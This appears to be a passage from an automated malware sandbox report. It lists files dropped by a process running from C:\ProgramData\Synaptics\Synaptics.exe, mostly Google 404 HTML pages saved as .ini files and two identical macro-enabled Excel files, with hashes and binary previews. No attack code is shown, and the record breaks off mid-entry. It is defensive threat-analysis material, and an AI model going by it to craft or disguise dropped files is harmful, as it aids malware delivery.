Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nK038HMet7qime0woae-Pg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\DSaOlXq.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259495819743867
Encrypted:	false
SSDEEP:	24:GgsF+0p0QSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I0Q+pAZewRDK4mW
MD5:	8C723D9ACEF39AB092E160BB87BDE8CE
SHA1:	938B0A8012B767CA2A28BF8F10C2405A0783DEAB
SHA-256:	BF0F478F404B88BD1B8F65D7B2B4C5581F8FA5334105DDC226797FC0F07C67D4
SHA-512:	8C949A3E7F46A2C03307597AFDABF8D2AF0623684D7B6DB48A6FDB3CAE03B98089CE53E10FA94801320D668476FDD707F708A63A501A956E5BCD820A040C948A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UlC9creBsqHFDRwIbcn05Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\G541vTI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263179832571627
Encrypted:	false
SSDEEP:	24:GgsF+0kISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tI+pAZewRDK4mW
MD5:	6DC65D8B24FCD79727F796946C5FF3FE
SHA1:	2764BB0302160DE1C0B6A0C585BFE312BE24F2A5
SHA-256:	73E05380B106DCB9B0E020F077C1BD0AAADB4479F2AC797051C68A8C44CF997C
SHA-512:	FDD98B90E206DA807F23C8066D1885433197E93204BB6258C163BE61F7E2EB98F931CE1FFED5FDB2E5669F69C873F1FCF4F327ADEE33FEB730449F7B60361649
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mJhFM1kHDsM47hmcfj19vA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\I9FyyXRL.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\KMCSPBU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267938488879388
Encrypted:	false
SSDEEP:	24:GgsF+0mSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Z+pAZewRDK4mW
MD5:	38B0D343D928D6251C142A047A4C07C2
SHA1:	50765BDEF7D30728EE37B1621D0EA50D715759C3
SHA-256:	3165BB6231CEE9BBE6FE1C46C82C7180C1888ED6B6E7D402119948189F9537C6
SHA-512:	996F587D6E1A6227725A98A1C0EEBF2F417F2ECDF6A2731B36F916406867C885C2A3B60951B87A6C067BB6E8B7A30288AAC4D3E976F0A7C9E3B84CC3AC4EED44
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1rOeOqt8XkGv6m_DTX_yAQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\LM7M6Jm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263724377353559
Encrypted:	false
SSDEEP:	24:GgsF+0UFSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9F+pAZewRDK4mW
MD5:	83D909511F3D7C6FD85E6EE7064640FC
SHA1:	6B5C55766859FC5D8C0637299E83394FDAE5DEED
SHA-256:	D7F3DB503161B79F5CE2BCD0D6662E3490FBF07A73919BF3BEC0B5D29A239E16
SHA-512:	63E8F796B9DEDE5D914F5B7AA8B25443482C70B64109AF3809860F248D890D7CADB0BC438B5DDF4F83ADDEB2A49966AF48F1D1C320EDBD0093351F7D6BBFBFD0
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Fw7Bkusq4nXMBeIwBfVlFA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\MqAJzg6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264654644011913
Encrypted:	false
SSDEEP:	24:GgsF+0tSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+6+pAZewRDK4mW
MD5:	5B4CE9F0653FE5B11B3C716C747751F4
SHA1:	B6F668B9FD85FEDD4DA399F86CBB25C6F7B5EAA7
SHA-256:	9C00444786F9CB46CBFE290A87C40DF5206311E465A2024651EB42CFD16ED7EA
SHA-512:	D35290C58F19727923253B94FD113A7B418E16CEA68DE0DE3CD36DC27D25EB0B12D502AFB6C4D4B105CE0DBCE77155F5EE54A3B7A0B9C9BEE8935B5C2FB2842D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vnoVfaGCZPI2_EsYvh8A_w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Pu2VaAU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2550302521012355
Encrypted:	false
SSDEEP:	24:GgsF+04gSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+k+pAZewRDK4mW
MD5:	65A9D7DF607B88155A5F64A6F46984CA
SHA1:	66A18260A236DE5E61DA4E6C3323BF109240DA3F
SHA-256:	A06140A3D6B17B5CF52B99916FB20992CF46F531C464E4373D42A030501DA0E4
SHA-512:	538FEDEF0179CBE81D52BA5CF1DB3EAC2DF7C08E191C362F343DFB55E930A44515B50627B3CEB5A3B88ABABE8374EE7569CC020A022DD6E894C8BDFD7F00A09E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cJSsRUzhTfR_26sprqfuuw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\TdO8Sm3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25535642388012
Encrypted:	false
SSDEEP:	24:GgsF+01jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+u+pAZewRDK4mW
MD5:	081D05E49146D9CC5C281670F1226CF3
SHA1:	0CA9C99E78EBB6F5FDF2EEE5F07A7EB21F18FADE
SHA-256:	5F72035FD4AFED97871B6EBD85D448E0B8A69D9CEFFF2B6D104078EDA47773E4
SHA-512:	C29A1F93C805AD94D7ACCCF5C0128AB884EB25984E8525AAE62EE1A4F1CC338BF2E1F0821C5DFADE22ECE6641F72E6707E652B29FC34E273A28D8F76B963EB42
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mo1GUf3coQuW3Gbg9FaAfA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\VO87wxAM.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\WJhqo3w.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257531702055452
Encrypted:	false
SSDEEP:	24:GgsF+0DCSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+h+pAZewRDK4mW
MD5:	C9B4C2DE97FB34BE612820B709B1573F
SHA1:	3BD5AB31DB5D1457D6A971FFA91A6DF2FE1AA7A7
SHA-256:	5BBD34F878473770A5764AC870049638EC836E15AC9222A80C72FF6B629C63D4
SHA-512:	4E78D03921F354E205B687E85A05BB03CB59351BE2D2B435BDAEC6B0EE38C0A8E58573FE6A9CF527091AED1C98F2DEC678C53922151B7AB8610231721DBAA152
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OaEf8EpIhEet5BrhJX-Lqg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XNBPN8C.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.259486488960487
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+3+pAZewRDK4mW
MD5:	90F35E186C478EE62C9611BF7D994CEE
SHA1:	27AA3454989219545932A7D835ADB9B0350A2EF6
SHA-256:	0A1E824B533C47F8CDD4901AFFFA1CCD4831137FCE26D1A456C19B200ECDBB6E
SHA-512:	05394DEF87B96EE8B702F724BA9279E59453CA7EAB0CD21DFCFB8D31850CDE6CC81AA4441229B4FFA489C623E6F342E9D096474C39437B4E40BEFF5090F8F0EE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="TN5L6NreuGguFL6V-2dKtQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XkziIos.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25242080268606
Encrypted:	false
SSDEEP:	24:GgsF+0swSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Vw+pAZewRDK4mW
MD5:	F2A09CFFEB72C02A1A507377C7E76BA6
SHA1:	89AB5378408D2D5B678B1EF68612D613A0F483D7
SHA-256:	9FBA1828AC31E32DA4221756EF175516FB93B149360C81DE017FACE6A124E24D
SHA-512:	31AA36C4DFEE50BD6EBD5255C08F5182E53C21277A0D20EC84623756382A91D44676D7A51A5E206639150527EBCC18F9C763B96315620E7DDA31E1F8B92061B8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A1Ud7an00_kL_J5h9_NeUA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZUk3XRv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.255490247568553
Encrypted:	false
SSDEEP:	24:GgsF+0tpSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+kp+pAZewRDK4mW
MD5:	0F01FA7D468FCABE3DF6FC72EBD772F6
SHA1:	18270FD691158A9BE18297C396D88C201CEB7135
SHA-256:	834672EE7ECBD825FBD08E097AAA9ADA4C1ED459226C6D6DD4A681BC33653793
SHA-512:	0F54856BF20608E29017E75B47078A41127DD262E204BBC84752E9779ACE2954A63068D61DCEB73D55E06F9064DA26B3272D28C1C554A680C0E7021ED47A5AEA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="q7di327yxjmzdb8mYYhDaA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZWJPc43.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262296125710373
Encrypted:	false
SSDEEP:	24:GgsF+0BXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+S+pAZewRDK4mW
MD5:	5CE5263E58944865F3808AEBA0463D03
SHA1:	FE972938A8E2C345C5F07EFC1B442E7440C7B6C7
SHA-256:	D4984956C9C564DBCD8E38877CE625AD233EDEB13CC8F8283D45B5D4FCEC805A
SHA-512:	5B058AC26051CDAD6E61057DF723E6BA2E6B838E6278B4B1DBD60CE2AFE6142033C4F1F69468135C0CB1661A194E95CDF2E208E7114EA9DFCD1B80412F822B18
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ifqSMh1YpRExN3PW0mtGvw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bQNHhTE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.269114700502722
Encrypted:	false
SSDEEP:	24:GgsF+0ATOSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+w+pAZewRDK4mW
MD5:	34613AACC891E034F621E24CCCB762FB
SHA1:	64C41C2594779F1068F52B9B803AEDE9CB548335
SHA-256:	BD1AEE26E2E7AAC1532DC97A9C460F46B38675875B201C2586D5B271EFCCAC32
SHA-512:	1DD16655B317C80FB54240EB61A01CE34CFA3066F62C2B72094694CF9C2E5C2473ADA6DECCACC42EBF3F0E196E3939AB8734637CA059314C385BD94080C1CC59
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8syhXY2NAqJ5Xvkj79niKA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eR8O16U.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.274839992300303
Encrypted:	false
SSDEEP:	24:GgsF+0nSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	4617C38D92940D6D94F5DA932856DA1E
SHA1:	343D59C202248C880694DD5C235646D7BE373804
SHA-256:	FD69E0CE0DE7482083FB24A4D9C642A38CBFBCE199D94386F8022D95A9ED44F0
SHA-512:	31C991FD1CF13ED4F442320C7D65CFFC09E39131A16C57AFE70B2B6D5DF1FF93658D52DA6E331C614499EE4B28746A3CF1918F3BE258CEC1696D03092BDF1BF3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hFPJPTjGdxZvOA7TOGDniQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ez1Qk1V.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26645519198868
Encrypted:	false
SSDEEP:	24:GgsF+0fSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+I+pAZewRDK4mW
MD5:	1AEF587026C8F50B36DCC196856DD62A
